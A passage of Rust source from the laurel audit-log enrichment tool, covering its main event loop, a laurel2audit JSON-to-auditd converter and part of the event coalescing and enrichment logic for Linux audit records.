logger")?; if let laurel::config::FilterAction::Log = config.filter.filter_action { log::info!("Logging filtered audit records"); let mut filter_logger = Logger::new(&config.filterlog, &dir).context("can't create filterlog logger")?; emit_fn_log = move |e: &Event| { if e.is_filtered { filter_logger .log(e) .map_err(|e| anyhow!("Error writing to filter log: {e}")) .unwrap(); } else { logger .log(e) .map_err(|e| anyhow!("Error writing to audit log: {e}")) .unwrap(); } }; coalesce = Coalesce::new(emit_fn_log); } else { log::info!("Dropping filtered audit records"); emit_fn_drop = move |e: &Event| { if !e.is_filtered { logger .log(e) .map_err(|e| anyhow!("Error writing to audit log: {e}")) .unwrap(); } }; coalesce = Coalesce::new(emit_fn_drop); } let mut inputlog = if let Some(ref w) = config.debug.inputlog { Some(Logger::new(w, &dir).context("can't create inputlog logger")?) } else { None }; coalesce = coalesce.with_settings(config.make_coalesce_settings()); if let Some(state) = statefile_path .as_ref() .and_then(|p| read_state(p, Duration::from_secs(config.state.max_age))) { log::info!("Importing state..."); coalesce = coalesce.with_state(state); } else { log::info!("Starting with blank state..."); coalesce.initialize().context("Failed to initialize")?; } let mut line: Vec = Vec::new(); let mut stats = Stats::default(); let mut overall_stats = Stats::default(); let statusreport_period = config.statusreport_period.map(Duration::from_secs); let mut statusreport_last_t = SystemTime::now(); let write_state_period = config.state.write_state_period.map(Duration::from_secs); let mut write_state_last_t = SystemTime::now(); sigprocmask(SIG_UNBLOCK, Some(&SigSet::from_iter([SIGHUP])), None)?; let hup = Arc::new(AtomicBool::new(false)); signal_hook::flag::register(signal_hook::consts::SIGHUP, Arc::clone(&hup))?; loop { if hup.load(Ordering::Relaxed) { let buf = input.buffer(); let lines = buf.split_inclusive(|c| *c == b'\n'); log::info!("Got SIGHUP."); for line in lines { if let Err(e) = coalesce.process_line(line) { if let Some(ref mut l) = error_logger { l.write_all(line) .and_then(|_| l.flush()) .context("write log")?; } let line = String::from_utf8_lossy(line).replace('\n', ""); log::error!("Error {e} processing msg: {line}"); } } if let Some(p) = statefile_path.as_ref() { write_state(p, coalesce.state()); } coalesce.flush(); log::info!("Restarting..."); use std::ffi::CString; let argv: Vec = env::args().map(|a| CString::new(a).unwrap()).collect(); let env: Vec = env::vars() .map(|(k, v)| CString::new(format!("{k}={v}")).unwrap()) .collect(); #[cfg(target_os = "linux")] { let mut capabilities = std::collections::HashSet::new(); capabilities.insert(Capability::CAP_SYS_PTRACE); capabilities.insert(Capability::CAP_DAC_READ_SEARCH); if let Err(e) = caps::set(None, CapSet::Ambient, &capabilities) { log::warn!("could not set ambient capabilities: {e}"); } } execve(&argv[0], &argv, &env)?; } line.clear(); if input .read_until(b'\n', &mut line) .context("read from stdin")? == 0 { break; } if let Some(ref mut l) = inputlog { l.output.write_all(&line)?; l.output.flush()?; } stats.lines += 1; match coalesce.process_line(&line) { Ok(()) => (), Err(e) => { stats.errors += 1; if let Some(ref mut l) = error_logger { l.write_all(&line) .and_then(|_| l.flush()) .context("write log")?; } let line = String::from_utf8_lossy(&line).replace('\n', ""); log::error!("Error {e} processing msg: {line}"); continue; } }; // Output status information about Laurel every "statusreport_period_t" time (configurable) if let Some(statusreport_period_t) = statusreport_period { if statusreport_period_t.as_secs() > 0 && statusreport_last_t.elapsed()? >= statusreport_period_t { log::info!("Laurel version {} ({})", laurel::VERSION, build_id()); log::info!( "Parsing stats (until now): processed {} lines {} events with {} errors in total", &stats.lines, &stats.events, &stats.errors ); log::info!( "Running with EUID {} using config {}", Uid::effective().as_raw(), &config ); overall_stats += stats; stats = Stats::default(); statusreport_last_t = SystemTime::now(); } } if let (Some(statefile), Some(p)) = (&config.state.file, &write_state_period) { if write_state_last_t.elapsed()? >= *p { write_state(statefile, coalesce.state()); write_state_last_t = SystemTime::now(); } } } if let Some(p) = statefile_path.as_ref() { write_state(p, coalesce.state()); } // If periodical reports were enabled, stats only contains temporary statistics. if let Some(statusreport_period_t) = statusreport_period { if statusreport_period_t.as_secs() > 0 { stats = overall_stats; } } log::info!( "Stopped {} processed {} lines {} events with {} errors in total", &args[0], &stats.lines, &stats.events, &stats.errors, ); Ok(()) } pub fn main() { log::set_boxed_logger(Box::::default()).unwrap(); #[cfg(debug_assertions)] log::set_max_level(log::LevelFilter::Debug); #[cfg(not(debug_assertions))] log::set_max_level(log::LevelFilter::Info); { std::panic::set_hook(Box::new(move |panic_info| { let payload = panic_info.payload(); let message = if let Some(s) = payload.downcast_ref::<&str>() { s } else if let Some(s) = payload.downcast_ref::() { s } else { "(unknown error)" }; let location = match panic_info.location() { Some(l) => format!("{}:{},{}", l.file(), l.line(), l.column()), None => "(unknown)".to_string(), }; log::error!("fatal error '{message}' at {location}"); })); } match run_app() { Ok(_) => (), Err(e) => { log::error!("{e:#}"); std::process::exit(1); } }; } laurel-0.7.1/src/bin/laurel2audit/main.rs000064400000000000000000000116121046102023000163440ustar 00000000000000use indexmap::IndexMap; use serde::Deserialize; use std::io::BufRead; #[derive(Deserialize)] #[serde(untagged)] enum EventValues { Single(Record), Multi(Vec), } #[derive(Deserialize, Default)] struct Record(IndexMap); #[derive(Deserialize)] struct Event { #[serde(rename = "ID")] id: String, #[serde(rename = "NODE")] node: Option, #[serde(flatten)] events: IndexMap, } // copy form parser.rs #[inline(always)] fn is_safe_chr(c: u8) -> bool { c == b'!' || (b'#'..=b'~').contains(&c) } fn print_record(typ: &str, r: &Record) { use serde_json::Value; let mut kv = r.0.clone(); if typ == "AVC" { for key in &["denied", "granted"] { if let Some(Value::Array(permissions)) = kv.get(*key) { let mut pstr = String::default(); for p in permissions.iter().map(|v| v.as_str().unwrap_or_default()) { if !pstr.is_empty() { pstr.push_str(", "); } pstr.push_str(p); } print!(" avc: {key} {{ {pstr} }} for "); kv.shift_remove(*key); } } } for (n, (k, v)) in kv.iter().enumerate() { if n == 4 && typ == "SYSCALL" { if let Some(Value::Array(a)) = kv.get("ARGV") { for (n, v) in a.iter().enumerate() { if let Value::String(s) = v { if !s.starts_with("0x") { continue; } print!(" a{n}={}", &s[2..]); } } } } if k == &k.to_uppercase() { continue; } print!(" {k}="); match v { Value::String(s) if ["scontext", "tclass", "tcontext"].contains(&k.as_str()) => { print!("{s}"); } Value::String(s) => { let b: &[u8] = s.as_bytes(); if b.iter().cloned().all(is_safe_chr) { if (b.starts_with(b"0x") || b.starts_with(b"0o")) && ["SYSCALL", "PATH"].contains(&typ) { print!("{}", &s[2..]); } else { print!("{v}"); } } else { b.iter().for_each(|c| print!("{:02X}", c)); } } Value::Array(_) => { todo!() } Value::Object(_) => { todo!() } _ => print!("{v}"), }; } println!(); } fn main() { let stdin = std::io::stdin().lock(); for line in stdin.lines() { let line = match line { Ok(l) => l, Err(e) => { println!("error: {e}"); continue; } }; let ev: Event = match serde_json::from_str(&line) { Ok(v) => v, Err(e) => { println!("error: {e}"); continue; } }; let msgid = ev.id; let prefix = match ev.node { Some(node) => format!("node={node} msg=audit({msgid}): "), None => format!("msg=audit({msgid}):"), }; for (typ, body) in ev.events.iter() { match (typ.as_str(), body) { ("PARENT_INFO", _) => continue, ("EXECVE", EventValues::Single(r)) => { let mut r2 = Record::default(); match r.0.get("argc") { None => continue, Some(n) => r2.0.insert("argc".into(), n.clone()), }; if let Some(serde_json::Value::String(s)) = r.0.get("ARGV_STR") { for (n, arg) in s.split(' ').enumerate() { r2.0.insert(format!("a{n}"), serde_json::Value::String(arg.into())); } } else if let Some(serde_json::Value::Array(a)) = r.0.get("ARGV") { for (n, arg) in a.iter().enumerate() { r2.0.insert(format!("a{n}"), arg.clone()); } } else { continue; } print!("type={typ} {prefix}"); print_record(typ, &r2); } (_, EventValues::Single(r)) => { print!("type={typ} {prefix}"); print_record(typ, r); } (_, EventValues::Multi(rs)) => { for r in rs { print!("type={typ} {prefix}"); print_record(typ, r); } } }; } println!("type=EOE {prefix} "); } } laurel-0.7.1/src/coalesce.rs000064400000000000000000002333651046102023000140440ustar 00000000000000use std::collections::{BTreeMap, HashSet}; use std::fmt::{self, Display}; use std::str::FromStr; #[cfg(all(feature = "procfs", target_os = "linux"))] use faster_hex::hex_string; use linux_audit_parser::*; use serde::{Deserialize, Serialize}; use serde_with::{DeserializeFromStr, SerializeDisplay}; use crate::constants::{ARCH_NAMES, SYSCALL_NAMES, URING_OPS}; use crate::label_matcher::LabelMatcher; use crate::proc::{self, ContainerInfo, ProcTable, Process, ProcessKey}; #[cfg(all(feature = "procfs", target_os = "linux"))] use crate::procfs; #[cfg(target_os = "linux")] use crate::sockaddr::SocketAddr; use crate::types::*; use crate::userdb::UserDB; use tinyvec::TinyVec; use thiserror::Error; #[derive( PartialEq, Eq, PartialOrd, Ord, Hash, Debug, Clone, SerializeDisplay, DeserializeFromStr, )] pub struct EventKey(Option>, EventID); impl Display for EventKey { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { EventKey(Some(node), event_id) => { let node = String::from_utf8_lossy(node); write!(f, "{node}::{event_id}") } EventKey(None, event_id) => { write!(f, "{event_id}") } } } } impl FromStr for EventKey { type Err = ParseEventIDError; fn from_str(s: &str) -> Result { match s.split_once("::") { Some((node, event_id)) => { Ok(EventKey(Some(node.as_bytes().to_vec()), event_id.parse()?)) } _ => Ok(EventKey(None, s.parse()?)), } } } #[derive(Clone)] pub struct Settings { /// Generate ARGV and ARGV_STR from EXECVE pub execve_argv_list: bool, pub execve_argv_string: bool, pub execve_env: HashSet>, pub execve_argv_limit_bytes: Option, pub enrich_container: bool, pub enrich_container_info: bool, pub enrich_systemd: bool, pub enrich_pid: bool, pub enrich_script: bool, pub enrich_uid_groups: bool, pub enrich_prefix: Option, pub proc_label_keys: HashSet>, pub proc_propagate_labels: HashSet>, pub translate_universal: bool, pub translate_userdb: bool, pub drop_translated: bool, pub label_exe: Option, pub unlabel_exe: Option, pub label_argv: Option, pub unlabel_argv: Option, pub label_argv_bytes: usize, pub label_argv_count: usize, pub label_script: Option, pub unlabel_script: Option, pub filter_keys: HashSet>, pub filter_labels: HashSet>, pub filter_null_keys: bool, pub filter_raw_lines: regex::bytes::RegexSet, pub filter_first_per_process: bool, } impl Default for Settings { fn default() -> Self { Settings { execve_argv_list: true, execve_argv_string: false, execve_env: HashSet::new(), execve_argv_limit_bytes: None, enrich_container: false, enrich_container_info: false, enrich_systemd: false, enrich_pid: true, enrich_script: true, enrich_uid_groups: true, enrich_prefix: None, proc_label_keys: HashSet::new(), proc_propagate_labels: HashSet::new(), translate_universal: false, translate_userdb: false, drop_translated: false, label_exe: None, unlabel_exe: None, label_argv: None, unlabel_argv: None, label_argv_bytes: 4096, label_argv_count: 32, label_script: None, unlabel_script: None, filter_keys: HashSet::new(), filter_labels: HashSet::new(), filter_null_keys: false, filter_raw_lines: regex::bytes::RegexSet::empty(), filter_first_per_process: false, } } } #[derive(Debug, Error)] pub enum CoalesceError { #[error("{0}")] Parse(ParseError), #[error("duplicate event id {0}")] DuplicateEvent(EventID), #[error("Event id {0} for EOE marker not found")] SpuriousEOE(EventID), } #[derive(Default, Clone, Serialize, Deserialize)] pub struct State<'ev> { /// Events that are being collected/processed pub inflight: BTreeMap>, /// Event IDs that have been recently processed pub done: HashSet, /// Process table built from observing process-related events pub processes: ProcTable, /// Creadential cache userdb: UserDB, } /// Coalesce collects Audit Records from individual lines and assembles them to Events pub struct Coalesce<'a, 'ev> { /// Serializable state state: State<'ev>, /// Timestamp for next cleanup next_expire: Option, /// Output function emit_fn: Box)>, pub settings: Settings, } const EXPIRE_PERIOD: u64 = 1_000; const EXPIRE_INFLIGHT_TIMEOUT: u64 = 5_000; const EXPIRE_DONE_TIMEOUT: u64 = 120_000; /// generate translation of SocketAddr enum to a format similar to /// what auditd log_format=ENRICHED produces #[cfg(target_os = "linux")] fn add_translated_socketaddr(rv: &mut Body, sa: SocketAddr) { let mut m: Vec<(Key, Value)> = Vec::with_capacity(5); match sa { SocketAddr::Local(sa) => { m.push(("saddr_fam".into(), "local".into())); m.push(("path".into(), sa.path.into())); } SocketAddr::Inet(sa) => { m.push(("saddr_fam".into(), "inet".into())); m.push(("addr".into(), format!("{}", sa.ip()).into())); m.push(("port".into(), (sa.port() as i64).into())); } SocketAddr::AX25(sa) => { m.push(("saddr_fam".into(), "ax25".into())); m.push(("call".into(), Vec::from(sa.call).into())); } SocketAddr::ATMPVC(sa) => { m.push(("saddr_fam".into(), "atmpvc".into())); m.push(("itf".into(), (sa.itf as i64).into())); m.push(("vpi".into(), (sa.vpi as i64).into())); m.push(("vci".into(), (sa.vci as i64).into())); } SocketAddr::X25(sa) => { m.push(("saddr_fam".into(), "x25".into())); m.push(("addr".into(), Vec::from(sa.address).into())); } SocketAddr::IPX(sa) => { m.push(("saddr_fam".into(), "ipx".into())); m.push(( "network".into(), Value::Number(Number::Hex(sa.network.into())), )); m.push(( "node".into(), format!( "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}", sa.node[0], sa.node[1], sa.node[2], sa.node[3], sa.node[4], sa.node[5] ) .into(), )); m.push(("port".into(), (sa.port as i64).into())); m.push(("type".into(), (sa.typ as i64).into())); } SocketAddr::Inet6(sa) => { m.push(("saddr_fam".into(), "inet6".into())); m.push(("addr".into(), format!("{}", sa.ip()).into())); m.push(("port".into(), (sa.port() as i64).into())); m.push(("flowinfo".into(), (sa.flowinfo() as i64).into())); m.push(("scope_id".into(), (sa.scope_id() as i64).into())); } SocketAddr::Netlink(sa) => { m.push(("saddr_fam".into(), "netlink".into())); m.push(("pid".into(), (sa.pid as i64).into())); m.push(( "groups".into(), Value::Number(Number::Hex(sa.groups.into())), )); } SocketAddr::VM(sa) => { m.push(("saddr_fam".into(), "vsock".into())); m.push(("cid".into(), (sa.cid as i64).into())); m.push(("port".into(), (sa.port as i64).into())); } }; rv.push(("SADDR".into(), Value::Map(m))); } #[derive(Default)] struct UserGroupIDs { uid: Option, // should not need this ids: TinyVec<[(TinyVec<[u8; 8]>, u32); 8]>, } impl UserGroupIDs { fn collect(&mut self, name: &[u8], id: u32) { if name == b"uid" { self.uid = Some(id); } else { self.ids.push((name.into(), id)); } } fn get_translated<'a>( &'a self, userdb: &'a mut UserDB, ) -> impl Iterator { let uid = self.uid.iter().map(|id| (b"uid".as_slice(), *id)); let ids = self.ids.iter().map(|(name, id)| (name.as_slice(), *id)); uid.chain(ids).map(move |(name, id)| { let translated = if id == 0xffffffff { "unset".to_string() } else { if name.ends_with(b"uid") { userdb.get_user(id) } else if name.ends_with(b"gid") { userdb.get_group(id) } else { None } .unwrap_or(format!("unknown({id})")) }; (name, translated) }) } } /// Returns a script name from path if exe's dev / inode don't match /// /// This seems to work with Docker containers but not with Podman. /// The executable's device and inode are inspected throguh the /// /proc//root/ symlink. This may fail for /// /// - very short-lived processes /// - container setups where the container's filesystem is constructed /// using fuse-overlayfs (observed with /// podman+fuse-overlayfs/1.4.0-1 on Debian/buster). /// /// As an extra sanity check, exe is compared with normalized /// PATH.name. If they are equal, no script is returned. #[cfg(all(feature = "procfs", target_os = "linux"))] fn path_script_name(path: &Body, pid: u32, ppid: u32, cwd: &[u8], exe: &[u8]) -> Option { use std::{ ffi::OsStr, os::unix::{ffi::OsStrExt, fs::MetadataExt}, path::{Component, Path, PathBuf}, }; let meta = procfs::pid_path_metadata(pid, exe) .or_else(|_| procfs::pid_path_metadata(ppid, exe)) .ok()?; let (e_dev, e_inode) = (meta.dev(), meta.ino()); let mut p_dev: Option = None; let mut p_inode: Option = None; let mut name = None; for (k, v) in path { if k == "name" { if let Value::Str(r, _) = v { let mut pb = PathBuf::new(); let s = Path::new(OsStr::from_bytes(r)); if !s.is_absolute() { pb.push(OsStr::from_bytes(cwd)); } pb.push(s); let mut tpb = PathBuf::new(); // We can't just use PathBuf::canonicalize here // because we don't want symlinks to be rersolved. for c in pb.components() { match c { Component::RootDir if tpb.has_root() => {} Component::CurDir => {} Component::ParentDir => { tpb.pop(); } _ => tpb.push(c), } } name = Some(NVec::from(tpb.as_os_str().as_bytes())) } } else if k == "inode" { if let Value::Number(Number::Dec(i)) = v { p_inode = Some(*i as _); } } else if k == "dev" { if let Value::Str(r, _) = v { p_dev = String::from_utf8_lossy(r) .split(':') .filter_map(|part| u64::from_str_radix(part, 16).ok()) .collect::>() .try_into() .ok() .map(|a: [u64; 2]| nix::sys::stat::makedev(a[0], a[1])); } break; } } match (p_dev, p_inode, name) { (Some(p_dev), Some(p_inode), _) if p_dev == e_dev && p_inode == e_inode => None, (Some(_), Some(_), Some(name)) if name != exe => Some(name), _ => None, } } impl<'a, 'ev> Coalesce<'a, 'ev> { /// Creates a `Coalsesce`. `emit_fn` is the function that takes /// completed events. pub fn new)>(emit_fn: F) -> Self { Coalesce { state: State::default(), next_expire: None, emit_fn: Box::new(emit_fn), settings: Settings::default(), } } pub fn with_settings(mut self, settings: Settings) -> Self { self.settings = settings; self } pub fn with_state(mut self, state: State<'ev>) -> Self { self.state = state; self.state.processes.relabel_all(&self.settings); self } pub fn state(&self) -> &State { &self.state } pub fn initialize(&mut self) -> Result<(), proc::ProcError> { if self.settings.translate_userdb { self.state.userdb.populate(); } self.state.processes = ProcTable::from_proc( self.settings.label_exe.clone(), &self.settings.proc_propagate_labels, )?; self.state.processes.relabel_all(&self.settings); Ok(()) } /// Flush out events /// /// Called every EXPIRE_PERIOD ms and when Coalesce is destroyed. fn expire_inflight(&mut self, now: u64) { let event_keys = self .state .inflight .keys() .filter(|EventKey(_, id)| id.timestamp + EXPIRE_INFLIGHT_TIMEOUT < now) .cloned() .collect::>(); for event_key in event_keys { if let Some(event) = self.state.inflight.remove(&event_key) { self.emit_event(event); } } } fn expire_done(&mut self, now: u64) { let event_keys = self .state .done .iter() .filter(|EventKey(_, id)| id.timestamp + EXPIRE_DONE_TIMEOUT < now) .cloned() .collect::>(); for event_key in event_keys { self.state.done.remove(&event_key); } } /// Create an enriched pid entry in rv. fn add_record_procinfo(&self, rec: &mut Body, name: &[u8], proc: &Process) { let mut m: Vec<(Key, Value)> = Vec::with_capacity(4); match &proc.key { ProcessKey::Event(id) => { m.push(("EVENT_ID".into(), format!("{id}").into())); } ProcessKey::Observed { time, pid: _ } => { let (sec, msec) = (time / 1000, time % 1000); m.push(("START_TIME".into(), format!("{sec}.{msec:03}").into())); } } if name != b"pid" { if let Some(comm) = &proc.comm { m.push(("comm".into(), Value::from(comm.as_slice()))); } if let Some(exe) = &proc.exe { m.push(("exe".into(), Value::from(exe.as_slice()))); } if proc.ppid != 0 { m.push(("ppid".into(), Value::from(proc.ppid as i64))); } } else { #[cfg(all(feature = "procfs", target_os = "linux"))] { if let (true, Some(container_info)) = (self.settings.enrich_container, &proc.container_info) { let id = hex_string(&container_info.id); m.push(( "container".into(), Value::Map(vec![("id".into(), id.into())]), )); } if let (true, Some(systemd_service)) = (self.settings.enrich_systemd, &proc.systemd_service) { m.push(( "systemd_service".into(), Value::List( systemd_service .iter() .map(|v| Value::from(v.as_slice())) .collect(), ), )); } } } let key = match &self.settings.enrich_prefix { Some(s) => Key::Name(NVec::from_iter(s.bytes().chain(name.iter().cloned()))), None => Key::NameTranslated(name.into()), }; rec.push((key, Value::Map(m))); } /// Translates UID, GID and variants, e.g.: /// - auid=1000 -> AUID="user" /// - ogid=1000 -> OGID="user" /// /// IDs that can't be resolved are translated into "unknown(n)". /// `(uint32)-1` is translated into "unset". fn add_record_userdb(&mut self, body: &mut Body, ids: &UserGroupIDs) { for (name, translated) in ids.get_translated(&mut self.state.userdb) { let key = match &self.settings.enrich_prefix { Some(s) => Key::Name(NVec::from_iter(s.bytes().chain((*name).iter().cloned()))), None => Key::NameTranslated((*name).into()), }; body.push((key, Value::from(translated.as_bytes()))); } } /// Enrich "pid" entries using `ppid`, `exe`, `ID` (generating /// event id) from the shadow process table fn enrich_pid(&mut self, rv: &mut Body, k: &Key, v: &Value) { if !self.settings.enrich_pid { return; } let name = match &k { Key::Common(Common::Pid) => &b"pid"[..], Key::Common(Common::PPid) => &b"ppid"[..], Key::Name(r) if r.ends_with(b"pid") => r.as_ref(), _ => return, }; if let Value::Number(Number::Dec(pid)) = v { if let Some(proc) = self.state.processes.get_pid(*pid as _) { self.add_record_procinfo(rv, name, proc); } else if let Some(proc) = self.state.processes.get_or_retrieve(*pid as _).cloned() { self.add_record_procinfo(rv, name, &proc) } } } /// Apply uid, gid, pid enrichment to generic records fn enrich_generic(&mut self, body: &mut Body) { let mut nrv = Body::default(); let mut ids = UserGroupIDs::default(); body.retain(|(k, v)| { match (k, v) { (Key::NameUID(name), Value::Number(Number::Dec(n))) | (Key::NameGID(name), Value::Number(Number::Dec(n))) => { ids.collect(name, *n as _); if self.settings.drop_translated { return false; } } _ => self.enrich_pid(&mut nrv, k, v), }; true }); body.extend(nrv); if self.settings.translate_userdb { self.add_record_userdb(body, &ids); } } /// Transform PROCTITLE record /// /// The flat proctitle field is turned into a list. fn transform_proctitle(&mut self, rv: &mut Body) { let mut argv = vec![]; rv.retain(|(k, v)| { match (k, v) { (k, Value::Str(r, _)) if k == "proctitle" => { argv = r .split(|c| *c == 0) .map(|arg| { // (assumed) safety: // We are adding references to the // same memory regions back to rv. let arg = unsafe { &*std::ptr::slice_from_raw_parts(arg.as_ptr(), arg.len()) }; Value::Str(arg, Quote::None) }) .collect(); false } _ => true, } }); if !argv.is_empty() { rv.push(("ARGV".into(), Value::List(argv))); } } /// Enrich SOCKADDR record fn enrich_sockaddr(&mut self, rv: &mut Body) { let mut nrv = Body::default(); rv.retain(|(k, v)| match (k, v) { (k, Value::Str(vr, _q)) if self.settings.translate_universal => { if k == "saddr" { #[cfg(target_os = "linux")] if let Ok(sa) = SocketAddr::parse(vr) { add_translated_socketaddr(&mut nrv, sa); return false; } } else if k == "SADDR" { return false; } true } _ => true, }); rv.extend(nrv); } /// Enrich URINGOP record fn enrich_uringop(&mut self, body: &mut Body) { let mut nrv = Body::default(); let mut ids = UserGroupIDs::default(); body.retain(|(k, v)| { match (k, v) { (Key::NameUID(name), Value::Number(Number::Dec(n))) | (Key::NameGID(name), Value::Number(Number::Dec(n))) => { ids.collect(name, *n as _); if self.settings.drop_translated { return false; } } (Key::Name(name), Value::Number(Number::Dec(op))) if self.settings.translate_universal && k == "uring_op" => { if let Some(Some(op_name)) = URING_OPS.get(*op as usize) { nrv.push((Key::NameTranslated(name.clone()), Value::from(*op_name))); } } _ => {} } true }); body.extend(nrv); if self.settings.translate_userdb { self.add_record_userdb(body, &ids); } } /// Enrich SYSCALL record /// /// Add ARCH, SYSCALL, PID, PPID, SCRIPT, LABELS if appropriate fn enrich_syscall( &mut self, rv: &mut Body, process_key: Option, script: &Option, container_info: &mut Option, ) { #[cfg(all(feature = "procfs", target_os = "linux"))] if let (true, Some(script)) = (self.settings.enrich_script, &script) { rv.push(( Key::Literal("SCRIPT"), Value::Str(script.as_slice(), Quote::None), )); } if let Some(proc) = process_key.and_then(|k| self.state.processes.get_key(&k)) { #[cfg(all(feature = "procfs", target_os = "linux"))] if let (true, Some(c)) = (self.settings.enrich_container, &proc.container_info) { let mut ci = Body::default(); ci.push(( Key::Literal("ID"), Value::Str(hex_string(&c.id).as_bytes(), Quote::None), )); *container_info = Some(ci); } if !proc.labels.is_empty() { let labels = proc .labels .iter() .map(|l| Value::Str(l, Quote::None)) .collect::>(); rv.push((Key::Literal("LABELS"), Value::List(labels))); } } } fn transform_execve(&mut self, rv: &mut Body, process_key: Option) { let mut argv: Vec = Vec::with_capacity(rv.len() - 1); rv.retain(|(k, v)| { match k { Key::ArgLen(_) => false, Key::Arg(i, None) => { let idx = *i as usize; if argv.len() <= idx { argv.resize(idx + 1, Value::Empty); }; argv[idx] = v.clone(); false } Key::Arg(i, Some(f)) => { let idx = *i as usize; if argv.len() <= idx { argv.resize(idx + 1, Value::Empty); argv[idx] = Value::Segments(Vec::new()); } if let Some(Value::Segments(vs)) = argv.get_mut(idx) { let frag = *f as usize; let r = match v { Value::Str(r, _) => r, _ => todo!(), }; if vs.len() <= frag { vs.resize(frag + 1, &[]); let ptr = std::ptr::slice_from_raw_parts(r.as_ptr(), r.len()); // (assumed) safety: vs[frag] is only added back to rv vs[frag] = unsafe { &*ptr }; } } false } _ => true, } }); if process_key.is_some() && self.settings.label_argv_count > 0 && self.settings.label_argv_bytes > 0 && (self.settings.label_argv.is_some() || self.settings.unlabel_argv.is_some()) { let mut buf: Vec = Vec::with_capacity(self.settings.label_argv_bytes); for arg in argv.iter().take(self.settings.label_argv_count) { if !buf.is_empty() { buf.push(b' '); } // FIXME TryFrom<&Value> needs to be implemented in linux-audit-parser let b: Vec = match arg.clone().try_into() { Ok(b) => b, Err(_) => continue, }; if buf.len() + b.len() >= self.settings.label_argv_bytes { break; } buf.extend(b); } if let Some(ref mut proc) = self.state.processes.get_key_mut(&process_key.unwrap()) { if let Some(ref m) = self.settings.label_argv { for label in m.matches(&buf) { proc.labels.insert(label.into()); } } if let Some(ref m) = self.settings.unlabel_argv { for label in m.matches(&buf) { proc.labels.remove(label); } } } } // Strip data from the middle of excessively long ARGV if let Some(argv_max) = self.settings.execve_argv_limit_bytes { let argv_size: usize = argv.iter().map(|v| 1 + v.str_len()).sum(); if argv_size > argv_max { let diff = argv_size - argv_max; let skip_range = (argv_size - diff) / 2..(argv_size + diff) / 2; argv = { let mut filtered = Vec::new(); let mut start = 0; let mut skipped: Option<(usize, usize)> = None; for arg in argv.iter() { let end = start + arg.str_len(); if skip_range.contains(&start) || skip_range.contains(&end) { skipped = match skipped { None => Some((1, end - start)), Some((args, bytes)) => Some((args + 1, 1 + bytes + (end - start))), }; } else { if let Some((args, bytes)) = skipped { filtered.push(Value::Skipped((args, bytes))); skipped = None; } filtered.push(arg.clone()); } start = end + 1; } filtered }; } } // ARGV if self.settings.execve_argv_list { rv.push((Key::Literal("ARGV"), Value::List(argv.clone()))); } // ARGV_STR if self.settings.execve_argv_string { rv.push(( Key::Literal("ARGV_STR"), Value::StringifiedList(argv.clone()), )); } // ENV #[cfg(all(feature = "procfs", target_os = "linux"))] if let (Some(proc), false) = ( process_key.and_then(|k| self.state.processes.get_key(&k)), self.settings.execve_env.is_empty(), ) { if let Ok(vars) = procfs::get_environ(proc.pid, |k| self.settings.execve_env.contains(k)) { let map = vars .iter() .map(|(k, v)| { ( Key::Name(NVec::from(k.as_slice())), Value::Str(v, Quote::None), ) }) .collect(); rv.push((Key::Literal("ENV"), Value::Map(map))); } } } /// Rewrite event to normal form /// /// This function /// - turns SYSCALL/a* fields into a single an ARGV list /// - turns EXECVE/a* and EXECVE/a*[*] fields into an ARGV list /// - turns PROCTITLE/proctitle into a (abbreviated) ARGV list /// - translates *uid, *gid, syscall, arch, sockaddr if configured to do so. /// - enriches PID and container enrichment if configured to do so. /// - collects environment variables for EXECVE events /// - registers process in shadow process table for EXECVE events fn transform_event(&mut self, ev: &mut Event) { #[cfg(all(feature = "procfs", target_os = "linux"))] let mut proc = ev .process_key .as_ref() .and_then(|p| self.state.processes.get_key(p).cloned()); if let Some(EventValues::Single(rv)) = ev.body.get_mut(&MessageType::EXECVE) { self.transform_execve(rv, ev.process_key); } // Handle script enrichment // TODO: Look up process per key. #[cfg(all(feature = "procfs", target_os = "linux"))] let script: Option = match (self.settings.enrich_script, &self.settings.label_script) { (false, None) => None, _ => match (&proc, ev.body.get(&MessageType::PATH), ev.is_exec) { (Some(proc), Some(EventValues::Multi(paths)), true) => { let mut cwd = &b"/"[..]; if let Some(EventValues::Single(r)) = ev.body.get(&MessageType::CWD) { if let Some(Value::Str(rv, _)) = r.get("cwd") { cwd = rv; } }; path_script_name( &paths[0], proc.pid, proc.ppid, cwd, &proc.exe.clone().unwrap_or_default(), ) } _ => None, }, }; #[cfg(not(all(feature = "procfs", target_os = "linux")))] let script = None; #[cfg(all(feature = "procfs", target_os = "linux"))] if let (Some(ref mut proc), Some(script)) = (&mut proc, &script) { if let Some(label_script) = &self.settings.label_script { for label in label_script.matches(script.as_ref()) { proc.labels.insert(label.into()); } } if let Some(unlabel_script) = &self.settings.unlabel_script { for label in unlabel_script.matches(script.as_ref()) { proc.labels.remove(label); } } } if ev.is_filtered { return; } let mut container_info: Option = None; for tv in ev.body.iter_mut() { match tv { (&MessageType::SYSCALL, EventValues::Single(rv)) => { self.enrich_syscall(rv, ev.process_key, &script, &mut container_info) } (&MessageType::EXECVE, EventValues::Single(_)) => {} (&MessageType::SOCKADDR, EventValues::Multi(rvs)) => { rvs.iter_mut().for_each(|rv| self.enrich_sockaddr(rv)) } (&MessageType::PROCTITLE, EventValues::Single(rv)) => self.transform_proctitle(rv), (&MessageType::URINGOP, EventValues::Multi(rvs)) => { rvs.iter_mut().for_each(|rv| self.enrich_uringop(rv)) } (_, EventValues::Single(rv)) => self.enrich_generic(rv), (_, EventValues::Multi(rvs)) => { rvs.iter_mut().for_each(|rv| self.enrich_generic(rv)) } } } if self.settings.enrich_container_info { ev.container_info = container_info; } } /// Do bookkeeping on event, transform, emit it via the provided /// output function. fn emit_event(&mut self, mut ev: Event<'ev>) { self.state.done.insert(EventKey(ev.node.clone(), ev.id)); self.transform_event(&mut ev); (self.emit_fn)(&ev) } /// Early handling of SYSCALL events /// /// This involves: /// - deciding whether the process is known / updating the process table /// - determining a process key for new events /// - early handling of process labels based on key, exe /// - deciding whether the event should be filtered, avoiding unnecessary /// work for enrichment/transformation pub fn handle_syscall( &mut self, id: EventID, body: &mut Body, filter_event: &mut bool, is_exec: &mut bool, process_key: &mut Option, ) { let mut arch: Option = None; let mut syscall: Option = None; let mut pid = 0; let mut ppid = 0; let mut comm: Option<&[u8]> = None; let mut exe: Option<&[u8]> = None; let mut key: Option<&[u8]> = None; let mut argv = Vec::with_capacity(4); let mut ids = UserGroupIDs::default(); // Filter / collect body.retain(|(k, v)| { match (k, v) { (Key::Arg(_, None), v) => { 